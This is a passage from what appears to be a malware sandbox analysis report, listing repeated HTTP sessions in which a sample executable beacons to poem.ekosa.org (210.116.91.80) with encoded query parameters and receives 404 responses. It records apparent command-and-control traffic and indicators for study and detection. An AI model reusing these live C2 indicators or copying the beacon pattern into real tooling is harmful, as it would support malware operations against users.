Jan 11, 2021 17:56:42.428543091 CET	5207	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:41 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
182	192.168.2.4	49962	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:42.691966057 CET	5208	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:42.950965881 CET	5208	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:42 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
183	192.168.2.4	49963	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:43.336865902 CET	5209	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:43.599865913 CET	5209	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:42 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
184	192.168.2.4	49964	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:43.869934082 CET	5210	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:44.131026983 CET	5211	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:44 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
185	192.168.2.4	49965	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:44.427678108 CET	5211	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:44.690043926 CET	5212	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:44 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
186	192.168.2.4	49966	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:45.065449953 CET	5213	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:45.324115038 CET	5213	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:45 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
187	192.168.2.4	49967	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:45.596781015 CET	5214	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:45.858217001 CET	5215	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:45 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
188	192.168.2.4	49968	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:46.153100967 CET	5215	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:46.409792900 CET	5216	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:46 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
189	192.168.2.4	49969	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:46.829166889 CET	5217	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:47.096776962 CET	5217	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:46 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.4	49783	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:07.608453035 CET	388	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:07.871875048 CET	388	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:07 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
190	192.168.2.4	49970	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:47.519306898 CET	5218	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:47.781912088 CET	5219	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:47 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
191	192.168.2.4	49971	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
